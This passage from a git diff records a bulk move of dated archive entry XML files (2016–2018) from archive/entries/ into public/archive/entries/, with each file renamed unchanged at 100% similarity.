public/archive/entries/2016-08-18-3.xml diff --git a/archive/entries/2016-08-22-1.xml b/public/archive/entries/2016-08-22-1.xml similarity index 100% rename from archive/entries/2016-08-22-1.xml rename to public/archive/entries/2016-08-22-1.xml diff --git a/archive/entries/2016-08-22-2.xml b/public/archive/entries/2016-08-22-2.xml similarity index 100% rename from archive/entries/2016-08-22-2.xml rename to public/archive/entries/2016-08-22-2.xml diff --git a/archive/entries/2016-08-27-1.xml b/public/archive/entries/2016-08-27-1.xml similarity index 100% rename from archive/entries/2016-08-27-1.xml rename to public/archive/entries/2016-08-27-1.xml diff --git a/archive/entries/2016-09-01-1.xml b/public/archive/entries/2016-09-01-1.xml similarity index 100% rename from archive/entries/2016-09-01-1.xml rename to public/archive/entries/2016-09-01-1.xml diff --git a/archive/entries/2016-09-06-1.xml b/public/archive/entries/2016-09-06-1.xml similarity index 100% rename from archive/entries/2016-09-06-1.xml rename to public/archive/entries/2016-09-06-1.xml diff --git a/archive/entries/2016-09-09-1.xml b/public/archive/entries/2016-09-09-1.xml similarity index 100% rename from archive/entries/2016-09-09-1.xml rename to public/archive/entries/2016-09-09-1.xml diff --git a/archive/entries/2016-09-15-1.xml b/public/archive/entries/2016-09-15-1.xml similarity index 100% rename from archive/entries/2016-09-15-1.xml rename to public/archive/entries/2016-09-15-1.xml diff --git a/archive/entries/2016-09-16-1.xml b/public/archive/entries/2016-09-16-1.xml similarity index 100% rename from archive/entries/2016-09-16-1.xml rename to public/archive/entries/2016-09-16-1.xml diff --git a/archive/entries/2016-09-16-2.xml b/public/archive/entries/2016-09-16-2.xml similarity index 100% rename from archive/entries/2016-09-16-2.xml rename to public/archive/entries/2016-09-16-2.xml diff --git a/archive/entries/2016-09-22-1.xml b/public/archive/entries/2016-09-22-1.xml similarity index 100% rename from archive/entries/2016-09-22-1.xml rename to public/archive/entries/2016-09-22-1.xml diff --git a/archive/entries/2016-09-29-1.xml b/public/archive/entries/2016-09-29-1.xml similarity index 100% rename from archive/entries/2016-09-29-1.xml rename to public/archive/entries/2016-09-29-1.xml diff --git a/archive/entries/2016-10-13-1.xml b/public/archive/entries/2016-10-13-1.xml similarity index 100% rename from archive/entries/2016-10-13-1.xml rename to public/archive/entries/2016-10-13-1.xml diff --git a/archive/entries/2016-10-14-1.xml b/public/archive/entries/2016-10-14-1.xml similarity index 100% rename from archive/entries/2016-10-14-1.xml rename to public/archive/entries/2016-10-14-1.xml diff --git a/archive/entries/2016-10-18-1.xml b/public/archive/entries/2016-10-18-1.xml similarity index 100% rename from archive/entries/2016-10-18-1.xml rename to public/archive/entries/2016-10-18-1.xml diff --git a/archive/entries/2016-10-19-1.xml b/public/archive/entries/2016-10-19-1.xml similarity index 100% rename from archive/entries/2016-10-19-1.xml rename to public/archive/entries/2016-10-19-1.xml diff --git a/archive/entries/2016-10-26-1.xml b/public/archive/entries/2016-10-26-1.xml similarity index 100% rename from archive/entries/2016-10-26-1.xml rename to public/archive/entries/2016-10-26-1.xml diff --git a/archive/entries/2016-10-27-1.xml b/public/archive/entries/2016-10-27-1.xml similarity index 100% rename from archive/entries/2016-10-27-1.xml rename to public/archive/entries/2016-10-27-1.xml diff --git a/archive/entries/2016-10-28-1.xml b/public/archive/entries/2016-10-28-1.xml similarity index 100% rename from archive/entries/2016-10-28-1.xml rename to public/archive/entries/2016-10-28-1.xml diff --git a/archive/entries/2016-11-01-1.xml b/public/archive/entries/2016-11-01-1.xml similarity index 100% rename from archive/entries/2016-11-01-1.xml rename to public/archive/entries/2016-11-01-1.xml diff --git a/archive/entries/2016-11-02-1.xml b/public/archive/entries/2016-11-02-1.xml similarity index 100% rename from archive/entries/2016-11-02-1.xml rename to public/archive/entries/2016-11-02-1.xml diff --git a/archive/entries/2016-11-10-1.xml b/public/archive/entries/2016-11-10-1.xml similarity index 100% rename from archive/entries/2016-11-10-1.xml rename to public/archive/entries/2016-11-10-1.xml diff --git a/archive/entries/2016-11-10-2.xml b/public/archive/entries/2016-11-10-2.xml similarity index 100% rename from archive/entries/2016-11-10-2.xml rename to public/archive/entries/2016-11-10-2.xml diff --git a/archive/entries/2016-11-10-3.xml b/public/archive/entries/2016-11-10-3.xml similarity index 100% rename from archive/entries/2016-11-10-3.xml rename to public/archive/entries/2016-11-10-3.xml diff --git a/archive/entries/2016-11-11-1.xml b/public/archive/entries/2016-11-11-1.xml similarity index 100% rename from archive/entries/2016-11-11-1.xml rename to public/archive/entries/2016-11-11-1.xml diff --git a/archive/entries/2016-11-24-1.xml b/public/archive/entries/2016-11-24-1.xml similarity index 100% rename from archive/entries/2016-11-24-1.xml rename to public/archive/entries/2016-11-24-1.xml diff --git a/archive/entries/2016-12-01-1.xml b/public/archive/entries/2016-12-01-1.xml similarity index 100% rename from archive/entries/2016-12-01-1.xml rename to public/archive/entries/2016-12-01-1.xml diff --git a/archive/entries/2016-12-01-2.xml b/public/archive/entries/2016-12-01-2.xml similarity index 100% rename from archive/entries/2016-12-01-2.xml rename to public/archive/entries/2016-12-01-2.xml diff --git a/archive/entries/2016-12-01-3.xml b/public/archive/entries/2016-12-01-3.xml similarity index 100% rename from archive/entries/2016-12-01-3.xml rename to public/archive/entries/2016-12-01-3.xml diff --git a/archive/entries/2016-12-07-1.xml b/public/archive/entries/2016-12-07-1.xml similarity index 100% rename from archive/entries/2016-12-07-1.xml rename to public/archive/entries/2016-12-07-1.xml diff --git a/archive/entries/2016-12-08-1.xml b/public/archive/entries/2016-12-08-1.xml similarity index 100% rename from archive/entries/2016-12-08-1.xml rename to public/archive/entries/2016-12-08-1.xml diff --git a/archive/entries/2016-12-08-2.xml b/public/archive/entries/2016-12-08-2.xml similarity index 100% rename from archive/entries/2016-12-08-2.xml rename to public/archive/entries/2016-12-08-2.xml diff --git a/archive/entries/2016-12-20-1.xml b/public/archive/entries/2016-12-20-1.xml similarity index 100% rename from archive/entries/2016-12-20-1.xml rename to public/archive/entries/2016-12-20-1.xml diff --git a/archive/entries/2016-12-27-1.xml b/public/archive/entries/2016-12-27-1.xml similarity index 100% rename from archive/entries/2016-12-27-1.xml rename to public/archive/entries/2016-12-27-1.xml diff --git a/archive/entries/2017-01-19-1.xml b/public/archive/entries/2017-01-19-1.xml similarity index 100% rename from archive/entries/2017-01-19-1.xml rename to public/archive/entries/2017-01-19-1.xml diff --git a/archive/entries/2017-01-19-2.xml b/public/archive/entries/2017-01-19-2.xml similarity index 100% rename from archive/entries/2017-01-19-2.xml rename to public/archive/entries/2017-01-19-2.xml diff --git a/archive/entries/2017-01-19-3.xml b/public/archive/entries/2017-01-19-3.xml similarity index 100% rename from archive/entries/2017-01-19-3.xml rename to public/archive/entries/2017-01-19-3.xml diff --git a/archive/entries/2017-01-23-1.xml b/public/archive/entries/2017-01-23-1.xml similarity index 100% rename from archive/entries/2017-01-23-1.xml rename to public/archive/entries/2017-01-23-1.xml diff --git a/archive/entries/2017-02-15-1.xml b/public/archive/entries/2017-02-15-1.xml similarity index 100% rename from archive/entries/2017-02-15-1.xml rename to public/archive/entries/2017-02-15-1.xml diff --git a/archive/entries/2017-02-16-1.xml b/public/archive/entries/2017-02-16-1.xml similarity index 100% rename from archive/entries/2017-02-16-1.xml rename to public/archive/entries/2017-02-16-1.xml diff --git a/archive/entries/2017-02-17-1.xml b/public/archive/entries/2017-02-17-1.xml similarity index 100% rename from archive/entries/2017-02-17-1.xml rename to public/archive/entries/2017-02-17-1.xml diff --git a/archive/entries/2017-02-21-1.xml b/public/archive/entries/2017-02-21-1.xml similarity index 100% rename from archive/entries/2017-02-21-1.xml rename to public/archive/entries/2017-02-21-1.xml diff --git a/archive/entries/2017-02-24-1.xml b/public/archive/entries/2017-02-24-1.xml similarity index 100% rename from archive/entries/2017-02-24-1.xml rename to public/archive/entries/2017-02-24-1.xml diff --git a/archive/entries/2017-03-03-1.xml b/public/archive/entries/2017-03-03-1.xml similarity index 100% rename from archive/entries/2017-03-03-1.xml rename to public/archive/entries/2017-03-03-1.xml diff --git a/archive/entries/2017-03-04-1.xml b/public/archive/entries/2017-03-04-1.xml similarity index 100% rename from archive/entries/2017-03-04-1.xml rename to public/archive/entries/2017-03-04-1.xml diff --git a/archive/entries/2017-03-14-1.xml b/public/archive/entries/2017-03-14-1.xml similarity index 100% rename from archive/entries/2017-03-14-1.xml rename to public/archive/entries/2017-03-14-1.xml diff --git a/archive/entries/2017-03-15-1.xml b/public/archive/entries/2017-03-15-1.xml similarity index 100% rename from archive/entries/2017-03-15-1.xml rename to public/archive/entries/2017-03-15-1.xml diff --git a/archive/entries/2017-03-16-1.xml b/public/archive/entries/2017-03-16-1.xml similarity index 100% rename from archive/entries/2017-03-16-1.xml rename to public/archive/entries/2017-03-16-1.xml diff --git a/archive/entries/2017-03-16-2.xml b/public/archive/entries/2017-03-16-2.xml similarity index 100% rename from archive/entries/2017-03-16-2.xml rename to public/archive/entries/2017-03-16-2.xml diff --git a/archive/entries/2017-03-30-1.xml b/public/archive/entries/2017-03-30-1.xml similarity index 100% rename from archive/entries/2017-03-30-1.xml rename to public/archive/entries/2017-03-30-1.xml diff --git a/archive/entries/2017-03-30-2.xml b/public/archive/entries/2017-03-30-2.xml similarity index 100% rename from archive/entries/2017-03-30-2.xml rename to public/archive/entries/2017-03-30-2.xml diff --git a/archive/entries/2017-04-13-1.xml b/public/archive/entries/2017-04-13-1.xml similarity index 100% rename from archive/entries/2017-04-13-1.xml rename to public/archive/entries/2017-04-13-1.xml diff --git a/archive/entries/2017-04-13-2.xml b/public/archive/entries/2017-04-13-2.xml similarity index 100% rename from archive/entries/2017-04-13-2.xml rename to public/archive/entries/2017-04-13-2.xml diff --git a/archive/entries/2017-04-13-3.xml b/public/archive/entries/2017-04-13-3.xml similarity index 100% rename from archive/entries/2017-04-13-3.xml rename to public/archive/entries/2017-04-13-3.xml diff --git a/archive/entries/2017-04-14-1.xml b/public/archive/entries/2017-04-14-1.xml similarity index 100% rename from archive/entries/2017-04-14-1.xml rename to public/archive/entries/2017-04-14-1.xml diff --git a/archive/entries/2017-05-09-1.xml b/public/archive/entries/2017-05-09-1.xml similarity index 100% rename from archive/entries/2017-05-09-1.xml rename to public/archive/entries/2017-05-09-1.xml diff --git a/archive/entries/2017-05-11-1.xml b/public/archive/entries/2017-05-11-1.xml similarity index 100% rename from archive/entries/2017-05-11-1.xml rename to public/archive/entries/2017-05-11-1.xml diff --git a/archive/entries/2017-05-11-2.xml b/public/archive/entries/2017-05-11-2.xml similarity index 100% rename from archive/entries/2017-05-11-2.xml rename to public/archive/entries/2017-05-11-2.xml diff --git a/archive/entries/2017-05-16-1.xml b/public/archive/entries/2017-05-16-1.xml similarity index 100% rename from archive/entries/2017-05-16-1.xml rename to public/archive/entries/2017-05-16-1.xml diff --git a/archive/entries/2017-05-18-1.xml b/public/archive/entries/2017-05-18-1.xml similarity index 100% rename from archive/entries/2017-05-18-1.xml rename to public/archive/entries/2017-05-18-1.xml diff --git a/archive/entries/2017-05-22-1.xml b/public/archive/entries/2017-05-22-1.xml similarity index 100% rename from archive/entries/2017-05-22-1.xml rename to public/archive/entries/2017-05-22-1.xml diff --git a/archive/entries/2017-06-06-1.xml b/public/archive/entries/2017-06-06-1.xml similarity index 100% rename from archive/entries/2017-06-06-1.xml rename to public/archive/entries/2017-06-06-1.xml diff --git a/archive/entries/2017-06-08-1.xml b/public/archive/entries/2017-06-08-1.xml similarity index 100% rename from archive/entries/2017-06-08-1.xml rename to public/archive/entries/2017-06-08-1.xml diff --git a/archive/entries/2017-06-08-2.xml b/public/archive/entries/2017-06-08-2.xml similarity index 100% rename from archive/entries/2017-06-08-2.xml rename to public/archive/entries/2017-06-08-2.xml diff --git a/archive/entries/2017-06-08-3.xml b/public/archive/entries/2017-06-08-3.xml similarity index 100% rename from archive/entries/2017-06-08-3.xml rename to public/archive/entries/2017-06-08-3.xml diff --git a/archive/entries/2017-06-09-1.xml b/public/archive/entries/2017-06-09-1.xml similarity index 100% rename from archive/entries/2017-06-09-1.xml rename to public/archive/entries/2017-06-09-1.xml diff --git a/archive/entries/2017-06-14-1.xml b/public/archive/entries/2017-06-14-1.xml similarity index 100% rename from archive/entries/2017-06-14-1.xml rename to public/archive/entries/2017-06-14-1.xml diff --git a/archive/entries/2017-06-17-1.xml b/public/archive/entries/2017-06-17-1.xml similarity index 100% rename from archive/entries/2017-06-17-1.xml rename to public/archive/entries/2017-06-17-1.xml diff --git a/archive/entries/2017-06-22-1.xml b/public/archive/entries/2017-06-22-1.xml similarity index 100% rename from archive/entries/2017-06-22-1.xml rename to public/archive/entries/2017-06-22-1.xml diff --git a/archive/entries/2017-06-23-1.xml b/public/archive/entries/2017-06-23-1.xml similarity index 100% rename from archive/entries/2017-06-23-1.xml rename to public/archive/entries/2017-06-23-1.xml diff --git a/archive/entries/2017-06-29-1.xml b/public/archive/entries/2017-06-29-1.xml similarity index 100% rename from archive/entries/2017-06-29-1.xml rename to public/archive/entries/2017-06-29-1.xml diff --git a/archive/entries/2017-07-06-1.xml b/public/archive/entries/2017-07-06-1.xml similarity index 100% rename from archive/entries/2017-07-06-1.xml rename to public/archive/entries/2017-07-06-1.xml diff --git a/archive/entries/2017-07-06-2.xml b/public/archive/entries/2017-07-06-2.xml similarity index 100% rename from archive/entries/2017-07-06-2.xml rename to public/archive/entries/2017-07-06-2.xml diff --git a/archive/entries/2017-07-06-3.xml b/public/archive/entries/2017-07-06-3.xml similarity index 100% rename from archive/entries/2017-07-06-3.xml rename to public/archive/entries/2017-07-06-3.xml diff --git a/archive/entries/2017-07-06-4.xml b/public/archive/entries/2017-07-06-4.xml similarity index 100% rename from archive/entries/2017-07-06-4.xml rename to public/archive/entries/2017-07-06-4.xml diff --git a/archive/entries/2017-07-07-1.xml b/public/archive/entries/2017-07-07-1.xml similarity index 100% rename from archive/entries/2017-07-07-1.xml rename to public/archive/entries/2017-07-07-1.xml diff --git a/archive/entries/2017-07-10-1.xml b/public/archive/entries/2017-07-10-1.xml similarity index 100% rename from archive/entries/2017-07-10-1.xml rename to public/archive/entries/2017-07-10-1.xml diff --git a/archive/entries/2017-07-20-1.xml b/public/archive/entries/2017-07-20-1.xml similarity index 100% rename from archive/entries/2017-07-20-1.xml rename to public/archive/entries/2017-07-20-1.xml diff --git a/archive/entries/2017-07-31-1.xml b/public/archive/entries/2017-07-31-1.xml similarity index 100% rename from archive/entries/2017-07-31-1.xml rename to public/archive/entries/2017-07-31-1.xml diff --git a/archive/entries/2017-08-03-1.xml b/public/archive/entries/2017-08-03-1.xml similarity index 100% rename from archive/entries/2017-08-03-1.xml rename to public/archive/entries/2017-08-03-1.xml diff --git a/archive/entries/2017-08-03-2.xml b/public/archive/entries/2017-08-03-2.xml similarity index 100% rename from archive/entries/2017-08-03-2.xml rename to public/archive/entries/2017-08-03-2.xml diff --git a/archive/entries/2017-08-03-3.xml b/public/archive/entries/2017-08-03-3.xml similarity index 100% rename from archive/entries/2017-08-03-3.xml rename to public/archive/entries/2017-08-03-3.xml diff --git a/archive/entries/2017-08-13-1.xml b/public/archive/entries/2017-08-13-1.xml similarity index 100% rename from archive/entries/2017-08-13-1.xml rename to public/archive/entries/2017-08-13-1.xml diff --git a/archive/entries/2017-08-16-1.xml b/public/archive/entries/2017-08-16-1.xml similarity index 100% rename from archive/entries/2017-08-16-1.xml rename to public/archive/entries/2017-08-16-1.xml diff --git a/archive/entries/2017-08-17-1.xml b/public/archive/entries/2017-08-17-1.xml similarity index 100% rename from archive/entries/2017-08-17-1.xml rename to public/archive/entries/2017-08-17-1.xml diff --git a/archive/entries/2017-08-31-1.xml b/public/archive/entries/2017-08-31-1.xml similarity index 100% rename from archive/entries/2017-08-31-1.xml rename to public/archive/entries/2017-08-31-1.xml diff --git a/archive/entries/2017-08-31-2.xml b/public/archive/entries/2017-08-31-2.xml similarity index 100% rename from archive/entries/2017-08-31-2.xml rename to public/archive/entries/2017-08-31-2.xml diff --git a/archive/entries/2017-09-01-1.xml b/public/archive/entries/2017-09-01-1.xml similarity index 100% rename from archive/entries/2017-09-01-1.xml rename to public/archive/entries/2017-09-01-1.xml diff --git a/archive/entries/2017-09-13-1.xml b/public/archive/entries/2017-09-13-1.xml similarity index 100% rename from archive/entries/2017-09-13-1.xml rename to public/archive/entries/2017-09-13-1.xml diff --git a/archive/entries/2017-09-14-1.xml b/public/archive/entries/2017-09-14-1.xml similarity index 100% rename from archive/entries/2017-09-14-1.xml rename to public/archive/entries/2017-09-14-1.xml diff --git a/archive/entries/2017-09-28-1.xml b/public/archive/entries/2017-09-28-1.xml similarity index 100% rename from archive/entries/2017-09-28-1.xml rename to public/archive/entries/2017-09-28-1.xml diff --git a/archive/entries/2017-09-28-2.xml b/public/archive/entries/2017-09-28-2.xml similarity index 100% rename from archive/entries/2017-09-28-2.xml rename to public/archive/entries/2017-09-28-2.xml diff --git a/archive/entries/2017-09-29-1.xml b/public/archive/entries/2017-09-29-1.xml similarity index 100% rename from archive/entries/2017-09-29-1.xml rename to public/archive/entries/2017-09-29-1.xml diff --git a/archive/entries/2017-10-12-1.xml b/public/archive/entries/2017-10-12-1.xml similarity index 100% rename from archive/entries/2017-10-12-1.xml rename to public/archive/entries/2017-10-12-1.xml diff --git a/archive/entries/2017-10-19-1.xml b/public/archive/entries/2017-10-19-1.xml similarity index 100% rename from archive/entries/2017-10-19-1.xml rename to public/archive/entries/2017-10-19-1.xml diff --git a/archive/entries/2017-10-26-1.xml b/public/archive/entries/2017-10-26-1.xml similarity index 100% rename from archive/entries/2017-10-26-1.xml rename to public/archive/entries/2017-10-26-1.xml diff --git a/archive/entries/2017-10-26-2.xml b/public/archive/entries/2017-10-26-2.xml similarity index 100% rename from archive/entries/2017-10-26-2.xml rename to public/archive/entries/2017-10-26-2.xml diff --git a/archive/entries/2017-10-26-3.xml b/public/archive/entries/2017-10-26-3.xml similarity index 100% rename from archive/entries/2017-10-26-3.xml rename to public/archive/entries/2017-10-26-3.xml diff --git a/archive/entries/2017-10-27-1.xml b/public/archive/entries/2017-10-27-1.xml similarity index 100% rename from archive/entries/2017-10-27-1.xml rename to public/archive/entries/2017-10-27-1.xml diff --git a/archive/entries/2017-11-06-1.xml b/public/archive/entries/2017-11-06-1.xml similarity index 100% rename from archive/entries/2017-11-06-1.xml rename to public/archive/entries/2017-11-06-1.xml diff --git a/archive/entries/2017-11-08-1.xml b/public/archive/entries/2017-11-08-1.xml similarity index 100% rename from archive/entries/2017-11-08-1.xml rename to public/archive/entries/2017-11-08-1.xml diff --git a/archive/entries/2017-11-09-1.xml b/public/archive/entries/2017-11-09-1.xml similarity index 100% rename from archive/entries/2017-11-09-1.xml rename to public/archive/entries/2017-11-09-1.xml diff --git a/archive/entries/2017-11-16-1.xml b/public/archive/entries/2017-11-16-1.xml similarity index 100% rename from archive/entries/2017-11-16-1.xml rename to public/archive/entries/2017-11-16-1.xml diff --git a/archive/entries/2017-11-20-1.xml b/public/archive/entries/2017-11-20-1.xml similarity index 100% rename from archive/entries/2017-11-20-1.xml rename to public/archive/entries/2017-11-20-1.xml diff --git a/archive/entries/2017-11-22-1.xml b/public/archive/entries/2017-11-22-1.xml similarity index 100% rename from archive/entries/2017-11-22-1.xml rename to public/archive/entries/2017-11-22-1.xml diff --git a/archive/entries/2017-11-22-2.xml b/public/archive/entries/2017-11-22-2.xml similarity index 100% rename from archive/entries/2017-11-22-2.xml rename to public/archive/entries/2017-11-22-2.xml diff --git a/archive/entries/2017-11-23-1.xml b/public/archive/entries/2017-11-23-1.xml similarity index 100% rename from archive/entries/2017-11-23-1.xml rename to public/archive/entries/2017-11-23-1.xml diff --git a/archive/entries/2017-11-24-1.xml b/public/archive/entries/2017-11-24-1.xml similarity index 100% rename from archive/entries/2017-11-24-1.xml rename to public/archive/entries/2017-11-24-1.xml diff --git a/archive/entries/2017-11-30-1.xml b/public/archive/entries/2017-11-30-1.xml similarity index 100% rename from archive/entries/2017-11-30-1.xml rename to public/archive/entries/2017-11-30-1.xml diff --git a/archive/entries/2017-12-23-1.xml b/public/archive/entries/2017-12-23-1.xml similarity index 100% rename from archive/entries/2017-12-23-1.xml rename to public/archive/entries/2017-12-23-1.xml diff --git a/archive/entries/2018-01-04-1.xml b/public/archive/entries/2018-01-04-1.xml similarity index 100% rename from archive/entries/2018-01-04-1.xml rename to public/archive/entries/2018-01-04-1.xml diff --git a/archive/entries/2018-01-04-2.xml b/public/archive/entries/2018-01-04-2.xml similarity index 100% rename from archive/entries/2018-01-04-2.xml rename to public/archive/entries/2018-01-04-2.xml diff --git a/archive/entries/2018-01-04-3.xml b/public/archive/entries/2018-01-04-3.xml similarity index 100% rename from archive/entries/2018-01-04-3.xml rename to public/archive/entries/2018-01-04-3.xml diff --git a/archive/entries/2018-01-04-4.xml b/public/archive/entries/2018-01-04-4.xml similarity index 100% rename from archive/entries/2018-01-04-4.xml rename to public/archive/entries/2018-01-04-4.xml diff --git a/archive/entries/2018-01-09-1.xml b/public/archive/entries/2018-01-09-1.xml similarity index 100% rename from archive/entries/2018-01-09-1.xml rename to public/archive/entries/2018-01-09-1.xml diff --git a/archive/entries/2018-01-09-2.xml b/public/archive/entries/2018-01-09-2.xml similarity index 100% rename from archive/entries/2018-01-09-2.xml rename to public/archive/entries/2018-01-09-2.xml diff --git a/archive/entries/2018-01-31-1.xml b/public/archive/entries/2018-01-31-1.xml similarity index 100% rename from archive/entries/2018-01-31-1.xml rename to public/archive/entries/2018-01-31-1.xml diff --git a/archive/entries/2018-02-01-1.xml b/public/archive/entries/2018-02-01-1.xml similarity index 100% rename from archive/entries/2018-02-01-1.xml rename to public/archive/entries/2018-02-01-1.xml diff --git a/archive/entries/2018-02-01-2.xml b/public/archive/entries/2018-02-01-2.xml similarity index 100% rename from archive/entries/2018-02-01-2.xml rename to public/archive/entries/2018-02-01-2.xml diff --git a/archive/entries/2018-02-01-3.xml b/public/archive/entries/2018-02-01-3.xml similarity index 100% rename from archive/entries/2018-02-01-3.xml rename to public/archive/entries/2018-02-01-3.xml diff --git a/archive/entries/2018-02-06-1.xml b/public/archive/entries/2018-02-06-1.xml similarity index 100% rename from archive/entries/2018-02-06-1.xml rename to public/archive/entries/2018-02-06-1.xml diff --git a/archive/entries/2018-02-07-1.xml b/public/archive/entries/2018-02-07-1.xml similarity index 100% rename from archive/entries/2018-02-07-1.xml rename to public/archive/entries/2018-02-07-1.xml diff --git a/archive/entries/2018-02-14-1.xml b/public/archive/entries/2018-02-14-1.xml similarity index 100% rename from archive/entries/2018-02-14-1.xml rename to public/archive/entries/2018-02-14-1.xml diff --git a/archive/entries/2018-02-16-1.xml b/public/archive/entries/2018-02-16-1.xml similarity index 100% rename from archive/entries/2018-02-16-1.xml rename to public/archive/entries/2018-02-16-1.xml diff --git a/archive/entries/2018-02-22-1.xml b/public/archive/entries/2018-02-22-1.xml similarity index 100% rename from archive/entries/2018-02-22-1.xml rename to public/archive/entries/2018-02-22-1.xml diff --git a/archive/entries/2018-02-26-1.xml b/public/archive/entries/2018-02-26-1.xml similarity index 100% rename from archive/entries/2018-02-26-1.xml rename to public/archive/entries/2018-02-26-1.xml diff --git a/archive/entries/2018-03-01-1.xml b/public/archive/entries/2018-03-01-1.xml similarity index 100% rename from archive/entries/2018-03-01-1.xml rename to public/archive/entries/2018-03-01-1.xml diff --git a/archive/entries/2018-03-01-2.xml b/public/archive/entries/2018-03-01-2.xml similarity index 100% rename from archive/entries/2018-03-01-2.xml rename to public/archive/entries/2018-03-01-2.xml diff --git a/archive/entries/2018-03-01-3.xml b/public/archive/entries/2018-03-01-3.xml similarity index 100% rename from archive/entries/2018-03-01-3.xml rename to public/archive/entries/2018-03-01-3.xml diff --git a/archive/entries/2018-03-01-4.xml b/public/archive/entries/2018-03-01-4.xml similarity index 100% rename from archive/entries/2018-03-01-4.xml rename to public/archive/entries/2018-03-01-4.xml diff --git a/archive/entries/2018-03-01-5.xml b/public/archive/entries/2018-03-01-5.xml similarity index 100% rename from archive/entries/2018-03-01-5.xml rename to public/archive/entries/2018-03-01-5.xml diff --git a/archive/entries/2018-03-02-1.xml b/public/archive/entries/2018-03-02-1.xml similarity index 100% rename from archive/entries/2018-03-02-1.xml rename to public/archive/entries/2018-03-02-1.xml diff --git a/archive/entries/2018-03-13-1.xml b/public/archive/entries/2018-03-13-1.xml similarity index 100% rename from archive/entries/2018-03-13-1.xml rename to public/archive/entries/2018-03-13-1.xml diff --git a/archive/entries/2018-03-23-1.xml b/public/archive/entries/2018-03-23-1.xml similarity index 100% rename from archive/entries/2018-03-23-1.xml rename to public/archive/entries/2018-03-23-1.xml diff --git a/archive/entries/2018-03-29-1.xml b/public/archive/entries/2018-03-29-1.xml similarity index 100% rename from archive/entries/2018-03-29-1.xml rename to public/archive/entries/2018-03-29-1.xml diff --git a/archive/entries/2018-03-29-2.xml b/public/archive/entries/2018-03-29-2.xml similarity index 100% rename from archive/entries/2018-03-29-2.xml rename to public/archive/entries/2018-03-29-2.xml diff --git a/archive/entries/2018-03-29-3.xml b/public/archive/entries/2018-03-29-3.xml similarity index 100% rename from archive/entries/2018-03-29-3.xml rename to public/archive/entries/2018-03-29-3.xml diff --git a/archive/entries/2018-03-30-1.xml b/public/archive/entries/2018-03-30-1.xml similarity index 100% rename from archive/entries/2018-03-30-1.xml rename to public/archive/entries/2018-03-30-1.xml diff --git a/archive/entries/2018-03-30-2.xml b/public/archive/entries/2018-03-30-2.xml similarity index 100% rename from archive/entries/2018-03-30-2.xml rename to public/archive/entries/2018-03-30-2.xml diff --git a/archive/entries/2018-04-08-1.xml b/public/archive/entries/2018-04-08-1.xml similarity index 100% rename from archive/entries/2018-04-08-1.xml rename to public/archive/entries/2018-04-08-1.xml diff --git a/archive/entries/2018-04-09-1.xml b/public/archive/entries/2018-04-09-1.xml similarity index 100% rename from archive/entries/2018-04-09-1.xml rename to public/archive/entries/2018-04-09-1.xml diff --git a/archive/entries/2018-04-11-1.xml b/public/archive/entries/2018-04-11-1.xml similarity index 100% rename from archive/entries/2018-04-11-1.xml rename to public/archive/entries/2018-04-11-1.xml diff --git a/archive/entries/2018-04-23-1.xml b/public/archive/entries/2018-04-23-1.xml similarity index 100% rename from archive/entries/2018-04-23-1.xml rename to public/archive/entries/2018-04-23-1.xml diff --git a/archive/entries/2018-04-25-1.xml b/public/archive/entries/2018-04-25-1.xml similarity index 100% rename from archive/entries/2018-04-25-1.xml rename to public/archive/entries/2018-04-25-1.xml diff --git a/archive/entries/2018-04-26-1.xml b/public/archive/entries/2018-04-26-1.xml similarity index 100% rename from archive/entries/2018-04-26-1.xml rename to public/archive/entries/2018-04-26-1.xml diff --git a/archive/entries/2018-04-26-2.xml b/public/archive/entries/2018-04-26-2.xml similarity index 100% rename from archive/entries/2018-04-26-2.xml rename to public/archive/entries/2018-04-26-2.xml diff --git a/archive/entries/2018-04-26-3.xml b/public/archive/entries/2018-04-26-3.xml similarity index 100% rename from archive/entries/2018-04-26-3.xml rename to public/archive/entries/2018-04-26-3.xml diff --git a/archive/entries/2018-04-26-4.xml b/public/archive/entries/2018-04-26-4.xml similarity index 100% rename from archive/entries/2018-04-26-4.xml rename to public/archive/entries/2018-04-26-4.xml diff --git a/archive/entries/2018-04-29-1.xml b/public/archive/entries/2018-04-29-1.xml similarity index 100% rename from archive/entries/2018-04-29-1.xml rename to public/archive/entries/2018-04-29-1.xml diff --git a/archive/entries/2018-05-02-1.xml b/public/archive/entries/2018-05-02-1.xml similarity index 100% rename from archive/entries/2018-05-02-1.xml rename to public/archive/entries/2018-05-02-1.xml diff --git a/archive/entries/2018-05-24-1.xml b/public/archive/entries/2018-05-24-1.xml similarity index 100% rename from archive/entries/2018-05-24-1.xml rename to public/archive/entries/2018-05-24-1.xml diff --git a/archive/entries/2018-05-25-1.xml b/public/archive/entries/2018-05-25-1.xml similarity index 100% rename from archive/entries/2018-05-25-1.xml rename to public/archive/entries/2018-05-25-1.xml diff --git a/archive/entries/2018-06-06-1.xml b/public/archive/entries/2018-06-06-1.xml similarity index 100% rename from archive/entries/2018-06-06-1.xml rename to public/archive/entries/2018-06-06-1.xml diff --git a/archive/entries/2018-06-06-2.xml b/public/archive/entries/2018-06-06-2.xml similarity index 100% rename from archive/entries/2018-06-06-2.xml rename to public/archive/entries/2018-06-06-2.xml diff --git a/archive/entries/2018-06-06-3.xml b/public/archive/entries/2018-06-06-3.xml similarity index 100% rename from archive/entries/2018-06-06-3.xml rename to public/archive/entries/2018-06-06-3.xml diff --git a/archive/entries/2018-06-07-1.xml b/public/archive/entries/2018-06-07-1.xml similarity index 100% rename from archive/entries/2018-06-07-1.xml rename to public/archive/entries/2018-06-07-1.xml diff --git a/archive/entries/2018-06-11-1.xml b/public/archive/entries/2018-06-11-1.xml similarity index 100% rename from archive/entries/2018-06-11-1.xml rename to public/archive/entries/2018-06-11-1.xml diff --git a/archive/entries/2018-06-13-1.xml b/public/archive/entries/2018-06-13-1.xml similarity index 100% rename from archive/entries/2018-06-13-1.xml rename to public/archive/entries/2018-06-13-1.xml diff --git a/archive/entries/2018-06-14-1.xml b/public/archive/entries/2018-06-14-1.xml similarity index 100% rename from archive/entries/2018-06-14-1.xml rename to public/archive/entries/2018-06-14-1.xml diff --git a/archive/entries/2018-06-18-1.xml b/public/archive/entries/2018-06-18-1.xml similarity index 100% rename from archive/entries/2018-06-18-1.xml rename to public/archive/entries/2018-06-18-1.xml diff --git a/archive/entries/2018-06-21-1.xml b/public/archive/entries/2018-06-21-1.xml similarity index 100% rename from archive/entries/2018-06-21-1.xml rename to public/archive/entries/2018-06-21-1.xml diff --git a/archive/entries/2018-06-21-2.xml b/public/archive/entries/2018-06-21-2.xml similarity index 100% rename from archive/entries/2018-06-21-2.xml rename to public/archive/entries/2018-06-21-2.xml diff --git 